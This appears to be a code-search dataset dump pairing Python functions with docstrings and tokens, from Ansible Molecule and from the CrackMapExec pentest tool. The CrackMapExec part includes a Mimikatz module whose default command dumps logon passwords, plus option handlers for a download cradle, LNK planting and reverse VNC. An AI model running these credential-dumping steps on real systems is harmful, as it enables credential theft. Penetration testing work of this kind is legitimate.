] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/provisioner/ansible/plugins/libraries/molecule_vagrant.py#L374-L387 | train |
ansible/molecule | molecule/driver/base.py | Base.status | def status(self):
"""
Collects the instances state and returns a list.
.. important::
Molecule assumes all instances were created successfully by
Ansible, otherwise Ansible would return an error on create. This
may prove to be a bad assumption. However, co... | python | def status(self):
"""
Collects the instances state and returns a list.
.. important::
Molecule assumes all instances were created successfully by
Ansible, otherwise Ansible would return an error on create. This
may prove to be a bad assumption. However, co... | [
"def",
"status",
"(",
"self",
")",
":",
"status_list",
"=",
"[",
"]",
"for",
"platform",
"in",
"self",
".",
"_config",
".",
"platforms",
".",
"instances",
":",
"instance_name",
"=",
"platform",
"[",
"'name'",
"]",
"driver_name",
"=",
"self",
".",
"name",... | Collects the instances state and returns a list.
.. important::
Molecule assumes all instances were created successfully by
Ansible, otherwise Ansible would return an error on create. This
may prove to be a bad assumption. However, configuring Molecule's
drive... | [
"Collects",
"the",
"instances",
"state",
"and",
"returns",
"a",
"list",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/driver/base.py#L173-L204 | train |
ansible/molecule | molecule/scenario.py | Scenario.prune | def prune(self):
"""
Prune the scenario ephemeral directory files and returns None.
"safe files" will not be pruned, including the ansible configuration
and inventory used by this scenario, the scenario state file, and
files declared as "safe_files" in the ``driver`` configurati... | python | def prune(self):
"""
Prune the scenario ephemeral directory files and returns None.
"safe files" will not be pruned, including the ansible configuration
and inventory used by this scenario, the scenario state file, and
files declared as "safe_files" in the ``driver`` configurati... | [
"def",
"prune",
"(",
"self",
")",
":",
"LOG",
".",
"info",
"(",
"'Pruning extra files from scenario ephemeral directory'",
")",
"safe_files",
"=",
"[",
"self",
".",
"config",
".",
"provisioner",
".",
"config_file",
",",
"self",
".",
"config",
".",
"provisioner",... | Prune the scenario ephemeral directory files and returns None.
"safe files" will not be pruned, including the ansible configuration
and inventory used by this scenario, the scenario state file, and
files declared as "safe_files" in the ``driver`` configuration
declared in ``molecule.yml... | [
"Prune",
"the",
"scenario",
"ephemeral",
"directory",
"files",
"and",
"returns",
"None",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/scenario.py#L98-L124 | train |
ansible/molecule | molecule/scenario.py | Scenario.sequence | def sequence(self):
"""
Select the sequence based on scenario and subcommand of the provided
scenario object and returns a list.
:param scenario: A scenario object.
:param skipped: An optional bool to include skipped scenarios.
:return: list
"""
s = scena... | python | def sequence(self):
"""
Select the sequence based on scenario and subcommand of the provided
scenario object and returns a list.
:param scenario: A scenario object.
:param skipped: An optional bool to include skipped scenarios.
:return: list
"""
s = scena... | [
"def",
"sequence",
"(",
"self",
")",
":",
"s",
"=",
"scenarios",
".",
"Scenarios",
"(",
"[",
"self",
".",
"config",
"]",
")",
"matrix",
"=",
"s",
".",
"_get_matrix",
"(",
")",
"try",
":",
"return",
"matrix",
"[",
"self",
".",
"name",
"]",
"[",
"s... | Select the sequence based on scenario and subcommand of the provided
scenario object and returns a list.
:param scenario: A scenario object.
:param skipped: An optional bool to include skipped scenarios.
:return: list | [
"Select",
"the",
"sequence",
"based",
"on",
"scenario",
"and",
"subcommand",
"of",
"the",
"provided",
"scenario",
"object",
"and",
"returns",
"a",
"list",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/scenario.py#L201-L217 | train |
ansible/molecule | molecule/scenario.py | Scenario._setup | def _setup(self):
"""
Prepare the scenario for Molecule and returns None.
:return: None
"""
if not os.path.isdir(self.inventory_directory):
os.makedirs(self.inventory_directory) | python | def _setup(self):
"""
Prepare the scenario for Molecule and returns None.
:return: None
"""
if not os.path.isdir(self.inventory_directory):
os.makedirs(self.inventory_directory) | [
"def",
"_setup",
"(",
"self",
")",
":",
"if",
"not",
"os",
".",
"path",
".",
"isdir",
"(",
"self",
".",
"inventory_directory",
")",
":",
"os",
".",
"makedirs",
"(",
"self",
".",
"inventory_directory",
")"
] | Prepare the scenario for Molecule and returns None.
:return: None | [
"Prepare",
"the",
"scenario",
"for",
"Molecule",
"and",
"returns",
"None",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/scenario.py#L219-L226 | train |
ansible/molecule | molecule/command/list.py | list | def list(ctx, scenario_name, format): # pragma: no cover
""" Lists status of instances. """
args = ctx.obj.get('args')
subcommand = base._get_subcommand(__name__)
command_args = {
'subcommand': subcommand,
'format': format,
}
statuses = []
s = scenarios.Scenarios(
b... | python | def list(ctx, scenario_name, format): # pragma: no cover
""" Lists status of instances. """
args = ctx.obj.get('args')
subcommand = base._get_subcommand(__name__)
command_args = {
'subcommand': subcommand,
'format': format,
}
statuses = []
s = scenarios.Scenarios(
b... | [
"def",
"list",
"(",
"ctx",
",",
"scenario_name",
",",
"format",
")",
":",
"# pragma: no cover",
"args",
"=",
"ctx",
".",
"obj",
".",
"get",
"(",
"'args'",
")",
"subcommand",
"=",
"base",
".",
"_get_subcommand",
"(",
"__name__",
")",
"command_args",
"=",
... | Lists status of instances. | [
"Lists",
"status",
"of",
"instances",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/command/list.py#L100-L123 | train |
ansible/molecule | molecule/command/list.py | _print_tabulate_data | def _print_tabulate_data(headers, data, table_format): # pragma: no cover
"""
Shows the tabulate data on the screen and returns None.
:param headers: A list of column headers.
:param data: A list of tabular data to display.
:returns: None
"""
print(tabulate.tabulate(data, headers, tablefm... | python | def _print_tabulate_data(headers, data, table_format): # pragma: no cover
"""
Shows the tabulate data on the screen and returns None.
:param headers: A list of column headers.
:param data: A list of tabular data to display.
:returns: None
"""
print(tabulate.tabulate(data, headers, tablefm... | [
"def",
"_print_tabulate_data",
"(",
"headers",
",",
"data",
",",
"table_format",
")",
":",
"# pragma: no cover",
"print",
"(",
"tabulate",
".",
"tabulate",
"(",
"data",
",",
"headers",
",",
"tablefmt",
"=",
"table_format",
")",
")"
] | Shows the tabulate data on the screen and returns None.
:param headers: A list of column headers.
:param data: A list of tabular data to display.
:returns: None | [
"Shows",
"the",
"tabulate",
"data",
"on",
"the",
"screen",
"and",
"returns",
"None",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/command/list.py#L126-L134 | train |
ansible/molecule | molecule/command/init/role.py | role | def role(ctx, dependency_name, driver_name, lint_name, provisioner_name,
role_name, verifier_name, template): # pragma: no cover
""" Initialize a new role for use with Molecule. """
command_args = {
'dependency_name': dependency_name,
'driver_name': driver_name,
'lint_name': li... | python | def role(ctx, dependency_name, driver_name, lint_name, provisioner_name,
role_name, verifier_name, template): # pragma: no cover
""" Initialize a new role for use with Molecule. """
command_args = {
'dependency_name': dependency_name,
'driver_name': driver_name,
'lint_name': li... | [
"def",
"role",
"(",
"ctx",
",",
"dependency_name",
",",
"driver_name",
",",
"lint_name",
",",
"provisioner_name",
",",
"role_name",
",",
"verifier_name",
",",
"template",
")",
":",
"# pragma: no cover",
"command_args",
"=",
"{",
"'dependency_name'",
":",
"dependen... | Initialize a new role for use with Molecule. | [
"Initialize",
"a",
"new",
"role",
"for",
"use",
"with",
"Molecule",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/command/init/role.py#L133-L160 | train |
ansible/molecule | molecule/command/init/role.py | Role.execute | def execute(self):
"""
Execute the actions necessary to perform a `molecule init role` and
returns None.
:return: None
"""
role_name = self._command_args['role_name']
role_directory = os.getcwd()
msg = 'Initializing new role {}...'.format(role_name)
... | python | def execute(self):
"""
Execute the actions necessary to perform a `molecule init role` and
returns None.
:return: None
"""
role_name = self._command_args['role_name']
role_directory = os.getcwd()
msg = 'Initializing new role {}...'.format(role_name)
... | [
"def",
"execute",
"(",
"self",
")",
":",
"role_name",
"=",
"self",
".",
"_command_args",
"[",
"'role_name'",
"]",
"role_directory",
"=",
"os",
".",
"getcwd",
"(",
")",
"msg",
"=",
"'Initializing new role {}...'",
".",
"format",
"(",
"role_name",
")",
"LOG",
... | Execute the actions necessary to perform a `molecule init role` and
returns None.
:return: None | [
"Execute",
"the",
"actions",
"necessary",
"to",
"perform",
"a",
"molecule",
"init",
"role",
"and",
"returns",
"None",
"."
] | 766dc35b0b0ce498cd5e3a62b40f828742d0d08c | https://github.com/ansible/molecule/blob/766dc35b0b0ce498cd5e3a62b40f828742d0d08c/molecule/command/init/role.py#L56-L93 | train |
byt3bl33d3r/CrackMapExec | cme/protocols/mssql/database.py | database.add_computer | def add_computer(self, ip, hostname, domain, os, instances):
"""
Check if this host has already been added to the database, if not add it in.
"""
cur = self.conn.cursor()
cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [ip])
results = cur.fetchall()
if no... | python | def add_computer(self, ip, hostname, domain, os, instances):
"""
Check if this host has already been added to the database, if not add it in.
"""
cur = self.conn.cursor()
cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [ip])
results = cur.fetchall()
if no... | [
"def",
"add_computer",
"(",
"self",
",",
"ip",
",",
"hostname",
",",
"domain",
",",
"os",
",",
"instances",
")",
":",
"cur",
"=",
"self",
".",
"conn",
".",
"cursor",
"(",
")",
"cur",
".",
"execute",
"(",
"'SELECT * FROM computers WHERE ip LIKE ?'",
",",
... | Check if this host has already been added to the database, if not add it in. | [
"Check",
"if",
"this",
"host",
"has",
"already",
"been",
"added",
"to",
"the",
"database",
"if",
"not",
"add",
"it",
"in",
"."
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/mssql/database.py#L35-L47 | train |
byt3bl33d3r/CrackMapExec | cme/protocols/mssql/database.py | database.remove_credentials | def remove_credentials(self, credIDs):
"""
Removes a credential ID from the database
"""
for credID in credIDs:
cur = self.conn.cursor()
cur.execute("DELETE FROM users WHERE id=?", [credID])
cur.close() | python | def remove_credentials(self, credIDs):
"""
Removes a credential ID from the database
"""
for credID in credIDs:
cur = self.conn.cursor()
cur.execute("DELETE FROM users WHERE id=?", [credID])
cur.close() | [
"def",
"remove_credentials",
"(",
"self",
",",
"credIDs",
")",
":",
"for",
"credID",
"in",
"credIDs",
":",
"cur",
"=",
"self",
".",
"conn",
".",
"cursor",
"(",
")",
"cur",
".",
"execute",
"(",
"\"DELETE FROM users WHERE id=?\"",
",",
"[",
"credID",
"]",
... | Removes a credential ID from the database | [
"Removes",
"a",
"credential",
"ID",
"from",
"the",
"database"
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/mssql/database.py#L63-L70 | train |
byt3bl33d3r/CrackMapExec | cme/modules/web_delivery.py | CMEModule.options | def options(self, context, module_options):
'''
URL URL for the download cradle
'''
if not 'URL' in module_options:
context.log.error('URL option is required!')
exit(1)
self.url = module_options['URL'] | python | def options(self, context, module_options):
'''
URL URL for the download cradle
'''
if not 'URL' in module_options:
context.log.error('URL option is required!')
exit(1)
self.url = module_options['URL'] | [
"def",
"options",
"(",
"self",
",",
"context",
",",
"module_options",
")",
":",
"if",
"not",
"'URL'",
"in",
"module_options",
":",
"context",
".",
"log",
".",
"error",
"(",
"'URL option is required!'",
")",
"exit",
"(",
"1",
")",
"self",
".",
"url",
"=",... | URL URL for the download cradle | [
"URL",
"URL",
"for",
"the",
"download",
"cradle"
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/web_delivery.py#L18-L27 | train |
byt3bl33d3r/CrackMapExec | cme/modules/slinky.py | CMEModule.options | def options(self, context, module_options):
'''
SERVER IP of the SMB server
NAME LNK file name
CLEANUP Cleanup (choices: True or False)
'''
self.cleanup = False
if 'CLEANUP' in module_options:
self.cleanup = bool(module_options[... | python | def options(self, context, module_options):
'''
SERVER IP of the SMB server
NAME LNK file name
CLEANUP Cleanup (choices: True or False)
'''
self.cleanup = False
if 'CLEANUP' in module_options:
self.cleanup = bool(module_options[... | [
"def",
"options",
"(",
"self",
",",
"context",
",",
"module_options",
")",
":",
"self",
".",
"cleanup",
"=",
"False",
"if",
"'CLEANUP'",
"in",
"module_options",
":",
"self",
".",
"cleanup",
"=",
"bool",
"(",
"module_options",
"[",
"'CLEANUP'",
"]",
")",
... | SERVER IP of the SMB server
NAME LNK file name
CLEANUP Cleanup (choices: True or False) | [
"SERVER",
"IP",
"of",
"the",
"SMB",
"server",
"NAME",
"LNK",
"file",
"name",
"CLEANUP",
"Cleanup",
"(",
"choices",
":",
"True",
"or",
"False",
")"
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/slinky.py#L18-L46 | train |
byt3bl33d3r/CrackMapExec | cme/modules/mimikatz.py | CMEModule.options | def options(self, context, module_options):
'''
COMMAND Mimikatz command to execute (default: 'sekurlsa::logonpasswords')
'''
self.command = 'privilege::debug sekurlsa::logonpasswords exit'
if module_options and 'COMMAND' in module_options:
self.command = module_o... | python | def options(self, context, module_options):
'''
COMMAND Mimikatz command to execute (default: 'sekurlsa::logonpasswords')
'''
self.command = 'privilege::debug sekurlsa::logonpasswords exit'
if module_options and 'COMMAND' in module_options:
self.command = module_o... | [
"def",
"options",
"(",
"self",
",",
"context",
",",
"module_options",
")",
":",
"self",
".",
"command",
"=",
"'privilege::debug sekurlsa::logonpasswords exit'",
"if",
"module_options",
"and",
"'COMMAND'",
"in",
"module_options",
":",
"self",
".",
"command",
"=",
"... | COMMAND Mimikatz command to execute (default: 'sekurlsa::logonpasswords') | [
"COMMAND",
"Mimikatz",
"command",
"to",
"execute",
"(",
"default",
":",
"sekurlsa",
"::",
"logonpasswords",
")"
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/mimikatz.py#L20-L28 | train |
byt3bl33d3r/CrackMapExec | cme/modules/mimikatz.py | CMEModule.uniquify_tuples | def uniquify_tuples(self, tuples):
"""
uniquify mimikatz tuples based on the password
cred format- (credType, domain, username, password, hostname, sid)
Stolen from the Empire project.
"""
seen = set()
return [item for item in tuples if "{}{}{}{}".format(item[0],... | python | def uniquify_tuples(self, tuples):
"""
uniquify mimikatz tuples based on the password
cred format- (credType, domain, username, password, hostname, sid)
Stolen from the Empire project.
"""
seen = set()
return [item for item in tuples if "{}{}{}{}".format(item[0],... | [
"def",
"uniquify_tuples",
"(",
"self",
",",
"tuples",
")",
":",
"seen",
"=",
"set",
"(",
")",
"return",
"[",
"item",
"for",
"item",
"in",
"tuples",
"if",
"\"{}{}{}{}\"",
".",
"format",
"(",
"item",
"[",
"0",
"]",
",",
"item",
"[",
"1",
"]",
",",
... | uniquify mimikatz tuples based on the password
cred format- (credType, domain, username, password, hostname, sid)
Stolen from the Empire project. | [
"uniquify",
"mimikatz",
"tuples",
"based",
"on",
"the",
"password",
"cred",
"format",
"-",
"(",
"credType",
"domain",
"username",
"password",
"hostname",
"sid",
")"
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/mimikatz.py#L48-L56 | train |
byt3bl33d3r/CrackMapExec | cme/modules/mimikatz.py | CMEModule.parse_mimikatz | def parse_mimikatz(self, data):
"""
Parse the output from Invoke-Mimikatz to return credential sets.
This was directly stolen from the Empire project as well.
"""
# cred format:
# credType, domain, username, password, hostname, sid
creds = []
# regexe... | python | def parse_mimikatz(self, data):
"""
Parse the output from Invoke-Mimikatz to return credential sets.
This was directly stolen from the Empire project as well.
"""
# cred format:
# credType, domain, username, password, hostname, sid
creds = []
# regexe... | [
"def",
"parse_mimikatz",
"(",
"self",
",",
"data",
")",
":",
"# cred format:",
"# credType, domain, username, password, hostname, sid",
"creds",
"=",
"[",
"]",
"# regexes for \"sekurlsa::logonpasswords\" Mimikatz output",
"regexes",
"=",
"[",
"\"(?s)(?<=msv :).*?(?=tspkg :)\"",... | Parse the output from Invoke-Mimikatz to return credential sets.
This was directly stolen from the Empire project as well. | [
"Parse",
"the",
"output",
"from",
"Invoke",
"-",
"Mimikatz",
"to",
"return",
"credential",
"sets",
"."
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/mimikatz.py#L58-L179 | train |
byt3bl33d3r/CrackMapExec | cme/modules/invoke_vnc.py | CMEModule.options | def options(self, context, module_options):
'''
CONTYPE Specifies the VNC connection type, choices are: reverse, bind (default: reverse).
PORT VNC Port (default: 5900)
PASSWORD Specifies the connection password.
'''
self.contype = 'reverse'
self.port = 59... | python | def options(self, context, module_options):
'''
CONTYPE Specifies the VNC connection type, choices are: reverse, bind (default: reverse).
PORT VNC Port (default: 5900)
PASSWORD Specifies the connection password.
'''
self.contype = 'reverse'
self.port = 59... | [
"def",
"options",
"(",
"self",
",",
"context",
",",
"module_options",
")",
":",
"self",
".",
"contype",
"=",
"'reverse'",
"self",
".",
"port",
"=",
"5900",
"self",
".",
"password",
"=",
"None",
"if",
"'PASSWORD'",
"not",
"in",
"module_options",
":",
"con... | CONTYPE Specifies the VNC connection type, choices are: reverse, bind (default: reverse).
PORT VNC Port (default: 5900)
PASSWORD Specifies the connection password. | [
"CONTYPE",
"Specifies",
"the",
"VNC",
"connection",
"type",
"choices",
"are",
":",
"reverse",
"bind",
"(",
"default",
":",
"reverse",
")",
".",
"PORT",
"VNC",
"Port",
"(",
"default",
":",
"5900",
")",
"PASSWORD",
"Specifies",
"the",
"connection",
"password",... | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/invoke_vnc.py#L15-L39 | train |
byt3bl33d3r/CrackMapExec | cme/protocols/smb/database.py | database.add_computer | def add_computer(self, ip, hostname, domain, os, dc=None):
"""
Check if this host has already been added to the database, if not add it in.
"""
domain = domain.split('.')[0].upper()
cur = self.conn.cursor()
cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [ip])
... | python | def add_computer(self, ip, hostname, domain, os, dc=None):
"""
Check if this host has already been added to the database, if not add it in.
"""
domain = domain.split('.')[0].upper()
cur = self.conn.cursor()
cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [ip])
... | [
"def",
"add_computer",
"(",
"self",
",",
"ip",
",",
"hostname",
",",
"domain",
",",
"os",
",",
"dc",
"=",
"None",
")",
":",
"domain",
"=",
"domain",
".",
"split",
"(",
"'.'",
")",
"[",
"0",
"]",
".",
"upper",
"(",
")",
"cur",
"=",
"self",
".",
... | Check if this host has already been added to the database, if not add it in. | [
"Check",
"if",
"this",
"host",
"has",
"already",
"been",
"added",
"to",
"the",
"database",
"if",
"not",
"add",
"it",
"in",
"."
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/smb/database.py#L87-L108 | train |
byt3bl33d3r/CrackMapExec | cme/protocols/smb/database.py | database.add_credential | def add_credential(self, credtype, domain, username, password, groupid=None, pillaged_from=None):
"""
Check if this credential has already been added to the database, if not add it in.
"""
domain = domain.split('.')[0].upper()
user_rowid = None
cur = self.conn.cursor()
... | python | def add_credential(self, credtype, domain, username, password, groupid=None, pillaged_from=None):
"""
Check if this credential has already been added to the database, if not add it in.
"""
domain = domain.split('.')[0].upper()
user_rowid = None
cur = self.conn.cursor()
... | [
"def",
"add_credential",
"(",
"self",
",",
"credtype",
",",
"domain",
",",
"username",
",",
"password",
",",
"groupid",
"=",
"None",
",",
"pillaged_from",
"=",
"None",
")",
":",
"domain",
"=",
"domain",
".",
"split",
"(",
"'.'",
")",
"[",
"0",
"]",
"... | Check if this credential has already been added to the database, if not add it in. | [
"Check",
"if",
"this",
"credential",
"has",
"already",
"been",
"added",
"to",
"the",
"database",
"if",
"not",
"add",
"it",
"in",
"."
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/smb/database.py#L110-L147 | train |
byt3bl33d3r/CrackMapExec | cme/protocols/smb/database.py | database.is_user_valid | def is_user_valid(self, userID):
"""
Check if this User ID is valid.
"""
cur = self.conn.cursor()
cur.execute('SELECT * FROM users WHERE id=? LIMIT 1', [userID])
results = cur.fetchall()
cur.close()
return len(results) > 0 | python | def is_user_valid(self, userID):
"""
Check if this User ID is valid.
"""
cur = self.conn.cursor()
cur.execute('SELECT * FROM users WHERE id=? LIMIT 1', [userID])
results = cur.fetchall()
cur.close()
return len(results) > 0 | [
"def",
"is_user_valid",
"(",
"self",
",",
"userID",
")",
":",
"cur",
"=",
"self",
".",
"conn",
".",
"cursor",
"(",
")",
"cur",
".",
"execute",
"(",
"'SELECT * FROM users WHERE id=? LIMIT 1'",
",",
"[",
"userID",
"]",
")",
"results",
"=",
"cur",
".",
"fet... | Check if this User ID is valid. | [
"Check",
"if",
"this",
"User",
"ID",
"is",
"valid",
"."
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/smb/database.py#L346-L354 | train |
byt3bl33d3r/CrackMapExec | cme/protocols/smb/database.py | database.get_computers | def get_computers(self, filterTerm=None, domain=None):
"""
Return hosts from the database.
"""
cur = self.conn.cursor()
# if we're returning a single host by ID
if self.is_computer_valid(filterTerm):
cur.execute("SELECT * FROM computers WHERE id=? LIMIT 1", ... | python | def get_computers(self, filterTerm=None, domain=None):
"""
Return hosts from the database.
"""
cur = self.conn.cursor()
# if we're returning a single host by ID
if self.is_computer_valid(filterTerm):
cur.execute("SELECT * FROM computers WHERE id=? LIMIT 1", ... | [
"def",
"get_computers",
"(",
"self",
",",
"filterTerm",
"=",
"None",
",",
"domain",
"=",
"None",
")",
":",
"cur",
"=",
"self",
".",
"conn",
".",
"cursor",
"(",
")",
"# if we're returning a single host by ID",
"if",
"self",
".",
"is_computer_valid",
"(",
"fil... | Return hosts from the database. | [
"Return",
"hosts",
"from",
"the",
"database",
"."
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/smb/database.py#L384-L412 | train |
byt3bl33d3r/CrackMapExec | cme/protocols/smb/database.py | database.is_group_valid | def is_group_valid(self, groupID):
"""
Check if this group ID is valid.
"""
cur = self.conn.cursor()
cur.execute('SELECT * FROM groups WHERE id=? LIMIT 1', [groupID])
results = cur.fetchall()
cur.close()
logging.debug('is_group_valid(groupID={}) => {}'.fo... | python | def is_group_valid(self, groupID):
"""
Check if this group ID is valid.
"""
cur = self.conn.cursor()
cur.execute('SELECT * FROM groups WHERE id=? LIMIT 1', [groupID])
results = cur.fetchall()
cur.close()
logging.debug('is_group_valid(groupID={}) => {}'.fo... | [
"def",
"is_group_valid",
"(",
"self",
",",
"groupID",
")",
":",
"cur",
"=",
"self",
".",
"conn",
".",
"cursor",
"(",
")",
"cur",
".",
"execute",
"(",
"'SELECT * FROM groups WHERE id=? LIMIT 1'",
",",
"[",
"groupID",
"]",
")",
"results",
"=",
"cur",
".",
... | Check if this group ID is valid. | [
"Check",
"if",
"this",
"group",
"ID",
"is",
"valid",
"."
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/smb/database.py#L417-L427 | train |
byt3bl33d3r/CrackMapExec | cme/protocols/smb/database.py | database.get_groups | def get_groups(self, filterTerm=None, groupName=None, groupDomain=None):
"""
Return groups from the database
"""
if groupDomain:
groupDomain = groupDomain.split('.')[0].upper()
cur = self.conn.cursor()
if self.is_group_valid(filterTerm):
cur.exec... | python | def get_groups(self, filterTerm=None, groupName=None, groupDomain=None):
"""
Return groups from the database
"""
if groupDomain:
groupDomain = groupDomain.split('.')[0].upper()
cur = self.conn.cursor()
if self.is_group_valid(filterTerm):
cur.exec... | [
"def",
"get_groups",
"(",
"self",
",",
"filterTerm",
"=",
"None",
",",
"groupName",
"=",
"None",
",",
"groupDomain",
"=",
"None",
")",
":",
"if",
"groupDomain",
":",
"groupDomain",
"=",
"groupDomain",
".",
"split",
"(",
"'.'",
")",
"[",
"0",
"]",
".",
... | Return groups from the database | [
"Return",
"groups",
"from",
"the",
"database"
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/smb/database.py#L429-L453 | train |
byt3bl33d3r/CrackMapExec | cme/protocols/http/database.py | database.add_credential | def add_credential(self, url, username, password):
"""
Check if this credential has already been added to the database, if not add it in.
"""
cur = self.conn.cursor()
cur.execute("SELECT * FROM credentials WHERE LOWER(username)=LOWER(?) AND password=?", [url, username, password]... | python | def add_credential(self, url, username, password):
"""
Check if this credential has already been added to the database, if not add it in.
"""
cur = self.conn.cursor()
cur.execute("SELECT * FROM credentials WHERE LOWER(username)=LOWER(?) AND password=?", [url, username, password]... | [
"def",
"add_credential",
"(",
"self",
",",
"url",
",",
"username",
",",
"password",
")",
":",
"cur",
"=",
"self",
".",
"conn",
".",
"cursor",
"(",
")",
"cur",
".",
"execute",
"(",
"\"SELECT * FROM credentials WHERE LOWER(username)=LOWER(?) AND password=?\"",
",",
... | Check if this credential has already been added to the database, if not add it in. | [
"Check",
"if",
"this",
"credential",
"has",
"already",
"been",
"added",
"to",
"the",
"database",
"if",
"not",
"add",
"it",
"in",
"."
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/http/database.py#L24-L36 | train |
byt3bl33d3r/CrackMapExec | cme/protocols/http/database.py | database.is_credential_valid | def is_credential_valid(self, credentialID):
"""
Check if this credential ID is valid.
"""
cur = self.conn.cursor()
cur.execute('SELECT * FROM credentials WHERE id=? LIMIT 1', [credentialID])
results = cur.fetchall()
cur.close()
return len(results) > 0 | python | def is_credential_valid(self, credentialID):
"""
Check if this credential ID is valid.
"""
cur = self.conn.cursor()
cur.execute('SELECT * FROM credentials WHERE id=? LIMIT 1', [credentialID])
results = cur.fetchall()
cur.close()
return len(results) > 0 | [
"def",
"is_credential_valid",
"(",
"self",
",",
"credentialID",
")",
":",
"cur",
"=",
"self",
".",
"conn",
".",
"cursor",
"(",
")",
"cur",
".",
"execute",
"(",
"'SELECT * FROM credentials WHERE id=? LIMIT 1'",
",",
"[",
"credentialID",
"]",
")",
"results",
"="... | Check if this credential ID is valid. | [
"Check",
"if",
"this",
"credential",
"ID",
"is",
"valid",
"."
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/http/database.py#L49-L57 | train |
byt3bl33d3r/CrackMapExec | cme/protocols/http/database.py | database.is_host_valid | def is_host_valid(self, hostID):
"""
Check if this credential ID is valid.
"""
cur = self.conn.cursor()
cur.execute('SELECT * FROM host WHERE id=? LIMIT 1', [hostID])
results = cur.fetchall()
cur.close()
return len(results) > 0 | python | def is_host_valid(self, hostID):
"""
Check if this credential ID is valid.
"""
cur = self.conn.cursor()
cur.execute('SELECT * FROM host WHERE id=? LIMIT 1', [hostID])
results = cur.fetchall()
cur.close()
return len(results) > 0 | [
"def",
"is_host_valid",
"(",
"self",
",",
"hostID",
")",
":",
"cur",
"=",
"self",
".",
"conn",
".",
"cursor",
"(",
")",
"cur",
".",
"execute",
"(",
"'SELECT * FROM host WHERE id=? LIMIT 1'",
",",
"[",
"hostID",
"]",
")",
"results",
"=",
"cur",
".",
"fetc... | Check if this credential ID is valid. | [
"Check",
"if",
"this",
"credential",
"ID",
"is",
"valid",
"."
] | 333f1c4e06884e85b2776459963ef85d182aba8e | https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/http/database.py#L59-L67 | train |
byt3bl33d3r/CrackMapExec | cme/protocols/http/database.py | database.get_credentials | def get_credentials(self, filterTerm=None):
"""
Return credentials from the database.
"""
cur = self.conn.cursor()
# if we're returning a single credential by ID
if self.is_credential_valid(filterTerm):
cur.execute("SELECT * FROM credentials WHERE id=? LIMIT... | python | def get_credentials(self, filterTerm=None):
"""
Return credentials from the database.
"""
cur = self.conn.cursor()
# if we're returning a single credential by ID
if self.is_credential_valid(filterTerm):
cur.execute("SELECT * FROM credentials WHERE id=? LIMIT... | [
"def",
"get_credentials",
"(",
"self",
